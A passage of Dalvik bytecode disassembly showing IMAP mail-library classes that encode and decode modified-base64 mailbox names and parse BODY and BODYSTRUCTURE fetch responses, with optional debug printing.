:F8
000000F8  if-eq                   v3, v6, :1E
:FC
000000FC  sget-object             v4, BASE64MailboxDecoder->pem_convert_array:[B
00000100  and-int/lit16           v3, v3, 0xFF
00000104  aget-byte               v3, v4, v3
00000108  shl-int/lit8            v4, v5, 0x6
0000010C  and-int/lit16           v4, v4, 0xC0
00000110  and-int/lit8            v3, v3, 0x3F
00000114  or-int/2addr            v3, v4
00000116  int-to-byte             v4, v3
00000118  if-eq                   v0, v1, :150
:11C
0000011C  shl-int/lit8            v3, v0, 0x8
00000120  and-int/lit16           v5, v4, 0xFF
00000124  or-int/2addr            v3, v5
00000126  int-to-char             v3, v3
00000128  add-int/lit8            v3, p1, 0x1
0000012C  shl-int/lit8            v0, v0, 0x8
00000130  and-int/lit16           v4, v4, 0xFF
00000134  or-int/2addr            v0, v4
00000136  int-to-char             v0, v0
00000138  aput-char               v0, p0, p1
0000013C  move                    v0, v1
0000013E  move                    p1, v3
00000140  goto/16                 :10
:144
00000144  and-int/lit16           v0, v5, 0xFF
00000148  goto                    :94
:14A
0000014A  and-int/lit16           v0, v4, 0xFF
0000014E  goto                    :E6
:150
00000150  and-int/lit16           v0, v4, 0xFF
00000154  goto/16                 :10
.end method

.method public static decode(String)String
          .registers 8
00000000  const/4                 v4, 0x0
00000002  if-eqz                  p0, :12
:6
00000006  invoke-virtual          String->length()I, p0
0000000C  move-result             v0
0000000E  if-nez                  v0, :14
:12
00000012  return-object           p0
:14
00000014  invoke-virtual          String->length()I, p0
0000001A  move-result             v0
0000001C  new-array               v5, v0, [C
00000020  new-instance            v6, StringCharacterIterator
00000024  invoke-direct           StringCharacterIterator-><init>(String)V, v6, p0
0000002A  invoke-virtual          StringCharacterIterator->first()C, v6
00000030  move-result             v0
00000032  move                    v2, v0
00000034  move                    v3, v4
00000036  move                    v1, v4
:38
00000038  const                   v0, 0xFFFF
0000003E  if-ne                   v2, v0, :52
:42
00000042  if-eqz                  v1, :12
:46
00000046  new-instance            p0, String
0000004A  invoke-direct           String-><init>([C, I, I)V, p0, v5, v4, v3
00000050  goto                    :12
:52
00000052  const/16                v0, 0x26
00000056  if-ne                   v2, v0, :70
:5A
0000005A  const/4                 v1, 0x1
0000005C  invoke-static           BASE64MailboxDecoder->base64decode([C, I, CharacterIterator)I, v5, v3, v6
00000062  move-result             v0
:64
00000064  invoke-virtual          StringCharacterIterator->next()C, v6
0000006A  move-result             v2
0000006C  move                    v3, v0
0000006E  goto                    :38
:70
00000070  add-int/lit8            v0, v3, 0x1
00000074  aput-char               v2, v5, v3
00000078  goto                    :64
.end method

#--------------------------------------------------------------------------------
.class public BASE64MailboxEncoder
.super Object
.source ""

.field private static final pem_array:[C
.field protected buffer:[B
.field protected bufsize:I
.field protected out:Writer
.field protected started:Z

.method static constructor <clinit>()V
          .registers 1
00000000  const/16                v0, 0x40
00000004  new-array               v0, v0, [C
00000008  fill-array-data         v0, :14
0000000E  sput-object             v0, BASE64MailboxEncoder->pem_array:[C
00000012  return-void
00000014  .array-data 2 x 0x40
              0x41
              0x42
              0x43
              0x44
              0x45
              0x46
              0x47
              0x48
              0x49
              0x4A
              0x4B
              0x4C
              0x4D
              0x4E
              0x4F
              0x50
              0x51
              0x52
              0x53
              0x54
              0x55
              0x56
              0x57
              0x58
              0x59
              0x5A
              0x61
              0x62
              0x63
              0x64
              0x65
              0x66
              0x67
              0x68
              0x69
              0x6A
              0x6B
              0x6C
              0x6D
              0x6E
              0x6F
              0x70
              0x71
              0x72
              0x73
              0x74
              0x75
              0x76
              0x77
              0x78
              0x79
              0x7A
              0x30
              0x31
              0x32
              0x33
              0x34
              0x35
              0x36
              0x37
              0x38
              0x39
              0x2B
              0x2C
          .end array-data
.end method

.method public constructor <init>(Writer)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  const/4                 v0, 0x4
0000000A  new-array               v0, v0, [B
0000000E  iput-object             v0, p0, BASE64MailboxEncoder->buffer:[B
00000012  iput                    v1, p0, BASE64MailboxEncoder->bufsize:I
00000016  iput-boolean            v1, p0, BASE64MailboxEncoder->started:Z
0000001A  const/4                 v0, 0x0
0000001C  iput-object             v0, p0, BASE64MailboxEncoder->out:Writer
00000020  iput-object             p1, p0, BASE64MailboxEncoder->out:Writer
00000024  return-void
.end method

.method public static encode(String)String
          .registers 11
00000000  const/16                v9, 0x26
00000004  const/4                 v1, 0x1
00000006  const/4                 v0, 0x0
00000008  const/4                 v2, 0x0
0000000A  invoke-virtual          String->toCharArray()[C, p0
00000010  move-result-object      v4
00000012  array-length            v5, v4
00000014  new-instance            v6, CharArrayWriter
00000018  invoke-direct           CharArrayWriter-><init>(I)V, v6, v5
0000001E  move                    v3, v0
:20
00000020  if-lt                   v3, v5, :3C
:24
00000024  if-eqz                  v2, :2E
:28
00000028  invoke-virtual          BASE64MailboxEncoder->flush()V, v2
:2E
0000002E  if-eqz                  v0, :3A
:32
00000032  invoke-virtual          CharArrayWriter->toString()String, v6
00000038  move-result-object      p0
:3A
0000003A  return-object           p0
:3C
0000003C  aget-char               v7, v4, v3
00000040  const/16                v8, 0x20
00000044  if-lt                   v7, v8, :7E
:48
00000048  const/16                v8, 0x7E
0000004C  if-gt                   v7, v8, :7E
:50
00000050  if-eqz                  v2, :5A
:54
00000054  invoke-virtual          BASE64MailboxEncoder->flush()V, v2
:5A
0000005A  if-ne                   v7, v9, :76
:5E
0000005E  invoke-virtual          CharArrayWriter->write(I)V, v6, v9
00000064  const/16                v0, 0x2D
00000068  invoke-virtual          CharArrayWriter->write(I)V, v6, v0
0000006E  move                    v0, v1
:70
00000070  add-int/lit8            v3, v3, 0x1
00000074  goto                    :20
:76
00000076  invoke-virtual          CharArrayWriter->write(I)V, v6, v7
0000007C  goto                    :70
:7E
0000007E  if-nez                  v2, :90
:82
00000082  new-instance            v0, BASE64MailboxEncoder
00000086  invoke-direct           BASE64MailboxEncoder-><init>(Writer)V, v0, v6
0000008C  move-object             v2, v0
0000008E  move                    v0, v1
:90
00000090  invoke-virtual          BASE64MailboxEncoder->write(I)V, v2, v7
00000096  goto                    :70
.end method

.method protected encode()V
          .registers 8
00000000  const/4                 v3, 0x2
00000002  const/4                 v2, 0x1
00000004  const/4                 v6, 0x0
00000006  iget                    v0, p0, BASE64MailboxEncoder->bufsize:I
0000000A  if-ne                   v0, v2, :50
:E
0000000E  iget-object             v0, p0, BASE64MailboxEncoder->buffer:[B
00000012  aget-byte               v0, v0, v6
00000016  iget-object             v1, p0, BASE64MailboxEncoder->out:Writer
0000001A  sget-object             v2, BASE64MailboxEncoder->pem_array:[C
0000001E  ushr-int/lit8           v3, v0, 0x2
00000022  and-int/lit8            v3, v3, 0x3F
00000026  aget-char               v2, v2, v3
0000002A  invoke-virtual          Writer->write(I)V, v1, v2
00000030  iget-object             v1, p0, BASE64MailboxEncoder->out:Writer
00000034  sget-object             v2, BASE64MailboxEncoder->pem_array:[C
00000038  shl-int/lit8            v0, v0, 0x4
0000003C  and-int/lit8            v0, v0, 0x30
00000040  add-int/lit8            v0, v0, 0x0
00000044  aget-char               v0, v2, v0
00000048  invoke-virtual          Writer->write(I)V, v1, v0
:4E
0000004E  return-void
:50
00000050  iget                    v0, p0, BASE64MailboxEncoder->bufsize:I
00000054  if-ne                   v0, v3, :C6
:58
00000058  iget-object             v0, p0, BASE64MailboxEncoder->buffer:[B
0000005C  aget-byte               v0, v0, v6
00000060  iget-object             v1, p0, BASE64MailboxEncoder->buffer:[B
00000064  aget-byte               v1, v1, v2
00000068  iget-object             v2, p0, BASE64MailboxEncoder->out:Writer
0000006C  sget-object             v3, BASE64MailboxEncoder->pem_array:[C
00000070  ushr-int/lit8           v4, v0, 0x2
00000074  and-int/lit8            v4, v4, 0x3F
00000078  aget-char               v3, v3, v4
0000007C  invoke-virtual          Writer->write(I)V, v2, v3
00000082  iget-object             v2, p0, BASE64MailboxEncoder->out:Writer
00000086  sget-object             v3, BASE64MailboxEncoder->pem_array:[C
0000008A  shl-int/lit8            v0, v0, 0x4
0000008E  and-int/lit8            v0, v0, 0x30
00000092  ushr-int/lit8           v4, v1, 0x4
00000096  and-int/lit8            v4, v4, 0xF
0000009A  add-int/2addr           v0, v4
0000009C  aget-char               v0, v3, v0
000000A0  invoke-virtual          Writer->write(I)V, v2, v0
000000A6  iget-object             v0, p0, BASE64MailboxEncoder->out:Writer
000000AA  sget-object             v2, BASE64MailboxEncoder->pem_array:[C
000000AE  shl-int/lit8            v1, v1, 0x2
000000B2  and-int/lit8            v1, v1, 0x3C
000000B6  add-int/lit8            v1, v1, 0x0
000000BA  aget-char               v1, v2, v1
000000BE  invoke-virtual          Writer->write(I)V, v0, v1
000000C4  goto                    :4E
:C6
000000C6  iget-object             v0, p0, BASE64MailboxEncoder->buffer:[B
000000CA  aget-byte               v0, v0, v6
000000CE  iget-object             v1, p0, BASE64MailboxEncoder->buffer:[B
000000D2  aget-byte               v1, v1, v2
000000D6  iget-object             v2, p0, BASE64MailboxEncoder->buffer:[B
000000DA  aget-byte               v2, v2, v3
000000DE  iget-object             v3, p0, BASE64MailboxEncoder->out:Writer
000000E2  sget-object             v4, BASE64MailboxEncoder->pem_array:[C
000000E6  ushr-int/lit8           v5, v0, 0x2
000000EA  and-int/lit8            v5, v5, 0x3F
000000EE  aget-char               v4, v4, v5
000000F2  invoke-virtual          Writer->write(I)V, v3, v4
000000F8  iget-object             v3, p0, BASE64MailboxEncoder->out:Writer
000000FC  sget-object             v4, BASE64MailboxEncoder->pem_array:[C
00000100  shl-int/lit8            v0, v0, 0x4
00000104  and-int/lit8            v0, v0, 0x30
00000108  ushr-int/lit8           v5, v1, 0x4
0000010C  and-int/lit8            v5, v5, 0xF
00000110  add-int/2addr           v0, v5
00000112  aget-char               v0, v4, v0
00000116  invoke-virtual          Writer->write(I)V, v3, v0
0000011C  iget-object             v0, p0, BASE64MailboxEncoder->out:Writer
00000120  sget-object             v3, BASE64MailboxEncoder->pem_array:[C
00000124  shl-int/lit8            v1, v1, 0x2
00000128  and-int/lit8            v1, v1, 0x3C
0000012C  ushr-int/lit8           v4, v2, 0x6
00000130  and-int/lit8            v4, v4, 0x3
00000134  add-int/2addr           v1, v4
00000136  aget-char               v1, v3, v1
0000013A  invoke-virtual          Writer->write(I)V, v0, v1
00000140  iget-object             v0, p0, BASE64MailboxEncoder->out:Writer
00000144  sget-object             v1, BASE64MailboxEncoder->pem_array:[C
00000148  and-int/lit8            v2, v2, 0x3F
0000014C  aget-char               v1, v1, v2
00000150  invoke-virtual          Writer->write(I)V, v0, v1
00000156  iget                    v0, p0, BASE64MailboxEncoder->bufsize:I
0000015A  const/4                 v1, 0x4
0000015C  if-ne                   v0, v1, :4E
:160
00000160  iget-object             v0, p0, BASE64MailboxEncoder->buffer:[B
00000164  iget-object             v1, p0, BASE64MailboxEncoder->buffer:[B
00000168  const/4                 v2, 0x3
0000016A  aget-byte               v1, v1, v2
0000016E  aput-byte               v1, v0, v6
00000172  goto/16                 :4E
.end method

.method public flush()V
          .registers 3
00000000  iget                    v0, p0, BASE64MailboxEncoder->bufsize:I
00000004  if-lez                  v0, :14
:8
00000008  invoke-virtual          BASE64MailboxEncoder->encode()V, p0
0000000E  const/4                 v0, 0x0
00000010  iput                    v0, p0, BASE64MailboxEncoder->bufsize:I
:14
00000014  iget-boolean            v0, p0, BASE64MailboxEncoder->started:Z
00000018  if-eqz                  v0, :30
:1C
0000001C  iget-object             v0, p0, BASE64MailboxEncoder->out:Writer
00000020  const/16                v1, 0x2D
00000024  invoke-virtual          Writer->write(I)V, v0, v1
0000002A  const/4                 v0, 0x0
0000002C  iput-boolean            v0, p0, BASE64MailboxEncoder->started:Z
:30
00000030  return-void
:32
00000032  move-exception          v0
00000034  goto                    :30
          .catch IOException {:0 .. :30} :32
.end method

.method public write(I)V
          .registers 5
00000000  iget-boolean            v0, p0, BASE64MailboxEncoder->started:Z
00000004  if-nez                  v0, :1C
:8
00000008  const/4                 v0, 0x1
0000000A  iput-boolean            v0, p0, BASE64MailboxEncoder->started:Z
0000000E  iget-object             v0, p0, BASE64MailboxEncoder->out:Writer
00000012  const/16                v1, 0x26
00000016  invoke-virtual          Writer->write(I)V, v0, v1
:1C
0000001C  iget-object             v0, p0, BASE64MailboxEncoder->buffer:[B
00000020  iget                    v1, p0, BASE64MailboxEncoder->bufsize:I
00000024  add-int/lit8            v2, v1, 0x1
00000028  iput                    v2, p0, BASE64MailboxEncoder->bufsize:I
0000002C  shr-int/lit8            v2, p1, 0x8
00000030  int-to-byte             v2, v2
00000032  aput-byte               v2, v0, v1
00000036  iget-object             v0, p0, BASE64MailboxEncoder->buffer:[B
0000003A  iget                    v1, p0, BASE64MailboxEncoder->bufsize:I
0000003E  add-int/lit8            v2, v1, 0x1
00000042  iput                    v2, p0, BASE64MailboxEncoder->bufsize:I
00000046  and-int/lit16           v2, p1, 0xFF
0000004A  int-to-byte             v2, v2
0000004C  aput-byte               v2, v0, v1
00000050  iget                    v0, p0, BASE64MailboxEncoder->bufsize:I
00000054  const/4                 v1, 0x3
00000056  if-lt                   v0, v1, :6C
:5A
0000005A  invoke-virtual          BASE64MailboxEncoder->encode()V, p0
00000060  iget                    v0, p0, BASE64MailboxEncoder->bufsize:I
00000064  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFD
00000068  iput                    v0, p0, BASE64MailboxEncoder->bufsize:I
:6C
0000006C  return-void
:6E
0000006E  move-exception          v0
00000070  goto                    :6C
          .catch IOException {:0 .. :6C} :6E
.end method

#--------------------------------------------------------------------------------
.class public abstract interface Item
.super Object
.source ""

#--------------------------------------------------------------------------------
.class public BODY
.super Object
.source ""

.implements Item

.field static final name:[C
.field public data:ByteArray
.field public msgno:I
.field public origin:I
.field public section:String

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x4
00000002  new-array               v0, v0, [C
00000006  fill-array-data         v0, :14
0000000C  sput-object             v0, BODY->name:[C
00000010  return-void
00000014  .array-data 2 x 0x4
              0x42
              0x4F
              0x44
              0x59
          .end array-data
.end method

.method public constructor <init>(FetchResponse)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput                    v0, p0, BODY->origin:I
0000000C  invoke-virtual          FetchResponse->getNumber()I, p1
00000012  move-result             v0
00000014  iput                    v0, p0, BODY->msgno:I
00000018  invoke-virtual          FetchResponse->skipSpaces()V, p1
:1E
0000001E  invoke-virtual          FetchResponse->readByte()B, p1
00000024  move-result             v0
00000026  const/16                v1, 0x5D
0000002A  if-ne                   v0, v1, :60
:2E
0000002E  invoke-virtual          FetchResponse->readByte()B, p1
00000034  move-result             v0
00000036  const/16                v1, 0x3C
0000003A  if-ne                   v0, v1, :52
:3E
0000003E  invoke-virtual          FetchResponse->readNumber()I, p1
00000044  move-result             v0
00000046  iput                    v0, p0, BODY->origin:I
0000004A  const/4                 v0, 0x1
0000004C  invoke-virtual          FetchResponse->skip(I)V, p1, v0
:52
00000052  invoke-virtual          FetchResponse->readByteArray()ByteArray, p1
00000058  move-result-object      v0
0000005A  iput-object             v0, p0, BODY->data:ByteArray
0000005E  return-void
:60
00000060  if-nez                  v0, :1E
:64
00000064  new-instance            v0, ParsingException
00000068  const-string            v1, "BODY parse error: missing ``]\'\' at section end"
0000006C  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000072  throw                   v0
.end method

.method public getByteArray()ByteArray
          .registers 2
00000000  iget-object             v0, p0, BODY->data:ByteArray
00000004  return-object           v0
.end method

.method public getByteArrayInputStream()ByteArrayInputStream
          .registers 2
00000000  iget-object             v0, p0, BODY->data:ByteArray
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, BODY->data:ByteArray
0000000C  invoke-virtual          ByteArray->toByteArrayInputStream()ByteArrayInputStream, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

#--------------------------------------------------------------------------------
.class public BODYSTRUCTURE
.super Object
.source ""

.implements Item

.field private static MULTI:I
.field private static NESTED:I
.field private static SINGLE:I
.field static final name:[C
.field private static parseDebug:Z
.field public attachment:String
.field public bodies:[BODYSTRUCTURE
.field public cParams:ParameterList
.field public dParams:ParameterList
.field public description:String
.field public disposition:String
.field public encoding:String
.field public envelope:ENVELOPE
.field public id:String
.field public language:[String
.field public lines:I
.field public md5:String
.field public msgno:I
.field private processedType:I
.field public size:I
.field public subtype:String
.field public type:String

.method static constructor <clinit>()V
          .registers 4
00000000  const/4                 v0, 0x1
00000002  const/4                 v1, 0x0
00000004  const/16                v2, 0xD
00000008  new-array               v2, v2, [C
0000000C  fill-array-data         v2, :58
00000012  sput-object             v2, BODYSTRUCTURE->name:[C
00000016  sput                    v0, BODYSTRUCTURE->SINGLE:I
0000001A  const/4                 v2, 0x2
0000001C  sput                    v2, BODYSTRUCTURE->MULTI:I
00000020  const/4                 v2, 0x3
00000022  sput                    v2, BODYSTRUCTURE->NESTED:I
00000026  sput-boolean            v1, BODYSTRUCTURE->parseDebug:Z
:2A
0000002A  const-string            v2, "mail.imap.parse.debug"
0000002E  invoke-static           System->getProperty(String)String, v2
00000034  move-result-object      v2
00000036  if-eqz                  v2, :50
:3A
0000003A  const-string            v3, "true"
0000003E  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
00000044  move-result             v2
00000046  if-eqz                  v2, :50
:4A
0000004A  sput-boolean            v0, BODYSTRUCTURE->parseDebug:Z
:4E
0000004E  return-void
:50
00000050  move                    v0, v1
00000052  goto                    :4A
:54
00000054  move-exception          v0
00000056  goto                    :4E
          .catch SecurityException {:2A .. :4E} :54
00000058  .array-data 2 x 0xD
              0x42
              0x4F
              0x44
              0x59
              0x53
              0x54
              0x52
              0x55
              0x43
              0x54
              0x55
              0x52
              0x45
          .end array-data
.end method

.method public constructor <init>(FetchResponse)V
          .registers 10
00000000  const/16                v7, 0x20
00000004  const/4                 v6, 0x0
00000006  const/4                 v5, 0x1
00000008  const/16                v4, 0x28
0000000C  const/16                v3, 0x29
00000010  invoke-direct           Object-><init>()V, p0
00000016  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000018  iput                    v0, p0, BODYSTRUCTURE->lines:I
0000001C  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000001E  iput                    v0, p0, BODYSTRUCTURE->size:I
00000022  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
00000026  if-eqz                  v0, :38
:2A
0000002A  sget-object             v0, System->out:PrintStream
0000002E  const-string            v1, "DEBUG IMAP: parsing BODYSTRUCTURE"
00000032  invoke-virtual          PrintStream->println(String)V, v0, v1
:38
00000038  invoke-virtual          FetchResponse->getNumber()I, p1
0000003E  move-result             v0
00000040  iput                    v0, p0, BODYSTRUCTURE->msgno:I
00000044  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
00000048  if-eqz                  v0, :78
:4C
0000004C  sget-object             v0, System->out:PrintStream
00000050  new-instance            v1, StringBuilder
00000054  const-string            v2, "DEBUG IMAP: msgno "
00000058  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000005E  iget                    v2, p0, BODYSTRUCTURE->msgno:I
00000062  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
00000068  move-result-object      v1
0000006A  invoke-virtual          StringBuilder->toString()String, v1
00000070  move-result-object      v1
00000072  invoke-virtual          PrintStream->println(String)V, v0, v1
:78
00000078  invoke-virtual          FetchResponse->skipSpaces()V, p1
0000007E  invoke-virtual          FetchResponse->readByte()B, p1
00000084  move-result             v0
00000086  if-eq                   v0, v4, :9A
:8A
0000008A  new-instance            v0, ParsingException
0000008E  const-string            v1, "BODYSTRUCTURE parse error: missing ``(\'\' at start"
00000092  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000098  throw                   v0
:9A
0000009A  invoke-virtual          FetchResponse->peekByte()B, p1
000000A0  move-result             v0
000000A2  if-ne                   v0, v4, :3D8
:A6
000000A6  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000000AA  if-eqz                  v0, :BC
:AE
000000AE  sget-object             v0, System->out:PrintStream
000000B2  const-string            v1, "DEBUG IMAP: parsing multipart"
000000B6  invoke-virtual          PrintStream->println(String)V, v0, v1
:BC
000000BC  const-string            v0, "multipart"
000000C0  iput-object             v0, p0, BODYSTRUCTURE->type:String
000000C4  sget                    v0, BODYSTRUCTURE->MULTI:I
000000C8  iput                    v0, p0, BODYSTRUCTURE->processedType:I
000000CC  new-instance            v0, Vector
000000D0  invoke-direct           Vector-><init>(I)V, v0, v5
:D6
000000D6  new-instance            v1, BODYSTRUCTURE
000000DA  invoke-direct           BODYSTRUCTURE-><init>(FetchResponse)V, v1, p1
000000E0  invoke-virtual          Vector->addElement(Object)V, v0, v1
000000E6  invoke-virtual          FetchResponse->skipSpaces()V, p1
000000EC  invoke-virtual          FetchResponse->peekByte()B, p1
000000F2  move-result             v1
000000F4  if-eq                   v1, v4, :D6
:F8
000000F8  invoke-virtual          Vector->size()I, v0
000000FE  move-result             v1
00000100  new-array               v1, v1, [BODYSTRUCTURE
00000104  iput-object             v1, p0, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
00000108  iget-object             v1, p0, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
0000010C  invoke-virtual          Vector->copyInto([Object)V, v0, v1
00000112  invoke-virtual          FetchResponse->readString()String, p1
00000118  move-result-object      v0
0000011A  iput-object             v0, p0, BODYSTRUCTURE->subtype:String
0000011E  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
00000122  if-eqz                  v0, :152
:126
00000126  sget-object             v0, System->out:PrintStream
0000012A  new-instance            v1, StringBuilder
0000012E  const-string            v2, "DEBUG IMAP: subtype "
00000132  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000138  iget-object             v2, p0, BODYSTRUCTURE->subtype:String
0000013C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000142  move-result-object      v1
00000144  invoke-virtual          StringBuilder->toString()String, v1
0000014A  move-result-object      v1
0000014C  invoke-virtual          PrintStream->println(String)V, v0, v1
:152
00000152  invoke-virtual          FetchResponse->readByte()B, p1
00000158  move-result             v0
0000015A  if-ne                   v0, v3, :176
:15E
0000015E  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
00000162  if-eqz                  v0, :174
:166
00000166  sget-object             v0, System->out:PrintStream
0000016A  const-string            v1, "DEBUG IMAP: parse DONE"
0000016E  invoke-virtual          PrintStream->println(String)V, v0, v1
:174
00000174  return-void
:176
00000176  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000017A  if-eqz                  v0, :18C
:17E
0000017E  sget-object             v0, System->out:PrintStream
00000182  const-string            v1, "DEBUG IMAP: parsing extension data"
00000186  invoke-virtual          PrintStream->println(String)V, v0, v1
:18C
0000018C  invoke-direct           BODYSTRUCTURE->parseParameters(Response)ParameterList, p0, p1
00000192  move-result-object      v0
00000194  iput-object             v0, p0, BODYSTRUCTURE->cParams:ParameterList
00000198  invoke-virtual          FetchResponse->readByte()B, p1
0000019E  move-result             v0
000001A0  if-ne                   v0, v3, :1BC
:1A4
000001A4  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000001A8  if-eqz                  v0, :174
:1AC
000001AC  sget-object             v0, System->out:PrintStream
000001B0  const-string            v1, "DEBUG IMAP: body parameters DONE"
000001B4  invoke-virtual          PrintStream->println(String)V, v0, v1
000001BA  goto                    :174
:1BC
000001BC  invoke-virtual          FetchResponse->readByte()B, p1
000001C2  move-result             v0
000001C4  if-ne                   v0, v4, :282
:1C8
000001C8  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000001CC  if-eqz                  v0, :1DE
:1D0
000001D0  sget-object             v0, System->out:PrintStream
000001D4  const-string            v1, "DEBUG IMAP: parse disposition"
000001D8  invoke-virtual          PrintStream->println(String)V, v0, v1
:1DE
000001DE  invoke-virtual          FetchResponse->readString()String, p1
000001E4  move-result-object      v0
000001E6  iput-object             v0, p0, BODYSTRUCTURE->disposition:String
000001EA  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000001EE  if-eqz                  v0, :21E
:1F2
000001F2  sget-object             v0, System->out:PrintStream
000001F6  new-instance            v1, StringBuilder
000001FA  const-string            v2, "DEBUG IMAP: disposition "
000001FE  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000204  iget-object             v2, p0, BODYSTRUCTURE->disposition:String
00000208  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000020E  move-result-object      v1
00000210  invoke-virtual          StringBuilder->toString()String, v1
00000216  move-result-object      v1
00000218  invoke-virtual          PrintStream->println(String)V, v0, v1
:21E
0000021E  invoke-direct           BODYSTRUCTURE->parseParameters(Response)ParameterList, p0, p1
00000224  move-result-object      v0
00000226  iput-object             v0, p0, BODYSTRUCTURE->dParams:ParameterList
0000022A  invoke-virtual          FetchResponse->readByte()B, p1
00000230  move-result             v0
00000232  if-eq                   v0, v3, :246
:236
00000236  new-instance            v0, ParsingException
0000023A  const-string            v1, "BODYSTRUCTURE parse error: missing ``)\'\' at end of disposition in multipart"
0000023E  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000244  throw                   v0
:246
00000246  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000024A  if-eqz                  v0, :25C
:24E
0000024E  sget-object             v0, System->out:PrintStream
00000252  const-string            v1, "DEBUG IMAP: disposition DONE"
00000256  invoke-virtual          PrintStream->println(String)V, v0, v1
:25C
0000025C  invoke-virtual          FetchResponse->readByte()B, p1
00000262  move-result             v0
00000264  if-ne                   v0, v3, :318
:268
00000268  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000026C  if-eqz                  v0, :174
:270
00000270  sget-object             v0, System->out:PrintStream
00000274  const-string            v1, "DEBUG IMAP: no body-fld-lang"
00000278  invoke-virtual          PrintStream->println(String)V, v0, v1
0000027E  goto/16                 :174
:282
00000282  const/16                v1, 0x4E
00000286  if-eq                   v0, v1, :292
:28A
0000028A  const/16                v1, 0x6E
0000028E  if-ne                   v0, v1, :2B2
:292
00000292  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
00000296  if-eqz                  v0, :2A8
:29A
0000029A  sget-object             v0, System->out:PrintStream
0000029E  const-string            v1, "DEBUG IMAP: disposition NIL"
000002A2  invoke-virtual          PrintStream->println(String)V, v0, v1
:2A8
000002A8  const/4                 v0, 0x2
000002AA  invoke-virtual          FetchResponse->skip(I)V, p1, v0
000002B0  goto                    :25C
:2B2
000002B2  new-instance            v1, ParsingException
000002B6  new-instance            v2, StringBuilder
000002BA  const-string            v3, "BODYSTRUCTURE parse error: "
000002BE  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000002C4  iget-object             v3, p0, BODYSTRUCTURE->type:String
000002C8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000002CE  move-result-object      v2
000002D0  const-string            v3, "/"
000002D4  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000002DA  move-result-object      v2
000002DC  iget-object             v3, p0, BODYSTRUCTURE->subtype:String
000002E0  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000002E6  move-result-object      v2
000002E8  const-string            v3, ": "
000002EC  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000002F2  move-result-object      v2
000002F4  const-string            v3, "bad multipart disposition, b "
000002F8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000002FE  move-result-object      v2
00000300  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v0
00000306  move-result-object      v0
00000308  invoke-virtual          StringBuilder->toString()String, v0
0000030E  move-result-object      v0
00000310  invoke-direct           ParsingException-><init>(String)V, v1, v0
00000316  throw                   v1
:318
00000318  if-eq                   v0, v7, :32C
:31C
0000031C  new-instance            v0, ParsingException
00000320  const-string            v1, "BODYSTRUCTURE parse error: missing space after disposition"
00000324  invoke-direct           ParsingException-><init>(String)V, v0, v1
0000032A  throw                   v0
:32C
0000032C  invoke-virtual          FetchResponse->peekByte()B, p1
00000332  move-result             v0
00000334  if-ne                   v0, v4, :38E
:338
00000338  invoke-virtual          FetchResponse->readStringList()[String, p1
0000033E  move-result-object      v0
00000340  iput-object             v0, p0, BODYSTRUCTURE->language:[String
00000344  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
00000348  if-eqz                  v0, :37A
:34C
0000034C  sget-object             v0, System->out:PrintStream
00000350  new-instance            v1, StringBuilder
00000354  const-string            v2, "DEBUG IMAP: language len "
00000358  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000035E  iget-object             v2, p0, BODYSTRUCTURE->language:[String
00000362  array-length            v2, v2
00000364  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
0000036A  move-result-object      v1
0000036C  invoke-virtual          StringBuilder->toString()String, v1
00000372  move-result-object      v1
00000374  invoke-virtual          PrintStream->println(String)V, v0, v1
:37A
0000037A  invoke-virtual          FetchResponse->readByte()B, p1
00000380  move-result             v0
00000382  if-ne                   v0, v7, :174
:386
00000386  invoke-direct           BODYSTRUCTURE->parseBodyExtension(Response)V, p0, p1
0000038C  goto                    :37A
:38E
0000038E  invoke-virtual          FetchResponse->readString()String, p1
00000394  move-result-object      v0
00000396  if-eqz                  v0, :37A
:39A
0000039A  new-array               v1, v5, [String
0000039E  aput-object             v0, v1, v6
000003A2  iput-object             v1, p0, BODYSTRUCTURE->language:[String
000003A6  sget-boolean            v1, BODYSTRUCTURE->parseDebug:Z
000003AA  if-eqz                  v1, :37A
:3AE
000003AE  sget-object             v1, System->out:PrintStream
000003B2  new-instance            v2, StringBuilder
000003B6  const-string            v3, "DEBUG IMAP: language "
